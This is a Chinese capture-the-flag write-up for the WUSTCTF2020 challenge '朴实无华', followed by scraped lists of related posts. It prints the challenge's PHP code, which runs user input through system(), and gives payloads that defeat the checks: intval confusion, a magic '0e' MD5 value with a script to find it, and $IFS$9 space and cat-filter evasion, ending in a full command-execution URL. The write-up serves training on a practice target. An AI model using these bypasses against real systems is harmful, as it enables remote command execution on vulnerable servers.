[WUSTCTF2020]朴实无华
[WUSTCTF2020]朴实无华
考点:1.MD5碰撞 2.命令执行绕过
打开题发现编码有些问题,修改编码为utf-8

看了源码和请求包没发现什么东西,看到title想到了robots.txt文件,打开看一看

额,打开后发现

在观察观察看到了这个

终于找到源代码了!!!开心vヾ(≧▽≦*)o
php源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
先是绕过2个if就可以成功进行RCE了
Levle 1
if(intval($num) < 2020 && intval($num + 1) > 2021)
payload
num = 2019e1
本地测试一下就知道原因啦
<?php
$num = $_GET['num'];
var_dump($num);
echo '<br>';
echo intval($num);
echo '<br>';
var_dump($num + 1);
echo '<br>';
echo intval($num + 1);
?>

Level 2
$md5==md5($md5)
- 脚本走一波
import hashlib
payload = 0
while True:
md5 = hashlib.md5(f'0e{payload}'.encode('ascii')).hexdigest()
if md5[:2] == '0e':
if md5[2:].isdigit():
print(f'0e{payload} {md5}')
break
payload += 1
- 耐心点,可能要扫那么一小会

payload:
md5=0e215962017
RCE
- 这里过滤了空格和cat,这些都是小事
- 空格使用$IFS$9
- cat可以换做用more,tail等其他方法
- 最终payload
http://91e9c6f4-17af-46f9-b641-d91522c24f26.node3.buuoj.cn/fl4g.php?num=2019e1&md5=0e215962017&get_flag=tail$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WUSTCTF2020]朴实无华的更多相关文章
- BUUOJ [WUSTCTF2020]朴实无华
[WUSTCTF2020]朴实无华 复现了武科大的一道题/// 进入界面 一个hack me 好吧,直接看看有没有robot.txt 哦豁,还真有 好吧 fAke_f1agggg.php 看了里面,然 ...
- 刷题[WUSTCTF2020]朴实无华
解题思路 打开是一个这样的页面,查看源码发现什么人间极乐bot,试试是不是robots.txt,查看发现类似flag文件,查看发现是假的flag,但是burp抓包后发现,返回的头部有信息 源码出来了, ...
- [WUSTCTF2020]朴实无华-1
1.打开连接只有如下界面: 2.用bp抓包分析包内数据,未发现有用的信息: 3.进行目录扫描,获得robots.txt文件并进行访问: 4.访问/fAke_f1agggg.ph ...
- php代码审计整理
目录 变量覆盖 1x01.extract 变量覆盖 定义和用法 语法 漏洞产生:使用了默认设置 攻击方法:制造变量名冲突,对于需要相等的值可以同时置空 修复:设定一个冲突时的处理规则 例题: 1x02 ...
- [BUUCTF]REVERSE——[WUSTCTF2020]Cr0ssfun
[WUSTCTF2020]Cr0ssfun 附件 步骤: 例行检查,无壳儿,64位程序,直接ida载入,检索程序里的字符串,根据提示跳转 看一下check()函数 内嵌了几个检查的函数,简单粗暴,整理 ...
- [BUUCTF]REVERSE——[WUSTCTF2020]level3
[WUSTCTF2020]level3 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,找到关键函数 看样子是个base64加密,但又感觉没那么简单,再翻翻左边的函数,找到了base64加 ...
- [BUUCTF]REVERSE——[WUSTCTF2020]level2
[WUSTCTF2020]level2 附件 步骤: 例行检查,32位程序,upx壳儿 脱完壳儿,扔进32位ida,习惯性的检索字符串,在我没找到什么关键信息,准备去看main函数的时候,将字符串拉到 ...
- [BUUCTF]REVERSE——[WUSTCTF2020]level1
[WUSTCTF2020]level1 附件 步骤: 下载下来的附件有两个,output.txt里是一堆数字 64位ida打开第一个附件,检索字符串,发现了flag字样 双击跟进,ctrl+x交叉引用 ...
- [WUSTCTF2020]颜值成绩查询-1
分享下自己在完成[WUSTCTF2020]颜值成绩查询-1关卡的手工过程和自动化脚本. 1.通过payload:1,payload:1 ,payload:1 or 1=1--+,进行判断是否存在注入, ...
随机推荐
- 『心善渊』Selenium3.0基础 — 4、Selenium基础元素定位详解
目录 1.什么是元素定位 2.Selenium元素定位常用API (1)By_id 定位 (2)by_name 定位 (3)by_class_name 定位 (4)by_tag_name 定位 (5) ...
- Java8-四个函数式接口(Consumer,Supplier,Predicate,Function)
Java8---函数式接口 Consumer---消费者(accept方法,Lambda与方法引用返回都是Consumer) Supplier---供给型(get方法,返回数据,与Optional可以 ...
- 写DockerFile的一些技巧
Docker镜像由只读层组成,每个层都代表一个Dockerfile指令.这些层是堆叠的,每一层都是前一层变化的增量.示例Dockerfile: FROM ubuntu:15.04 COPY . / ...
- 制作 Cocoapods 库
一.准备工作:注册 trunk 1.更新 cocoapods 至最新版本 2.申请注册 trunk pod trunk register email 'name' 3.进入邮箱,点击激活注册 4.验证 ...
- Unity中的.Meta文件
.meta文件是用于辅助管理Unity资源文件的文件,删除后,Unity会自动生成,里面记录了各个资源Inspector的信息,属性等等,Unity是不会改变源资源文件的,没有意义,它是靠.meta文 ...
- 11、gitlab和Jenkins整合(1)
1.在jenkins上安装git: 因为jenkins需要在gitlab上拉取代码: 具体的git安装,参考"4.git和gitlab的配置--4.2.git编译安装:": 2.在 ...
- 《手把手教你》系列技巧篇(七)-java+ selenium自动化测试-宏哥带你全方位吊打Chrome启动过程(详细教程)
1.简介 经过前边几篇文章和宏哥一起的学习,想必你已经知道了如何去查看Selenium相关接口或者方法.一般来说我们绝大多数看到的是已经封装好的接口,在查看接口源码的时候,你可以看到这个接口上边的注释 ...
- AcWing 1143. 联络员
Tyvj已经一岁了,网站也由最初的几个用户增加到了上万个用户,随着Tyvj网站的逐步壮大,管理员的数目也越来越多,现在你身为Tyvj管理层的联络员,希望你找到一些通信渠道,使得管理员两两都可以联络(直 ...
- java swagger ui 添加header请求头参数
我用到的swagger 主要有三款产品,swagger editor,swagger ui 和swagger codegen. swagger editor:主要是一个本地客户端,用来自己添加api, ...
- 关于Feign的Fallback处理
Feign的不恰当的fallback Feign的坑不少,特别与Hystrix集成之后. 在微服务引入Feign后,上线不久后便发现,对于一个简单的查询类调用,在下游返回正常的"404-资源 ...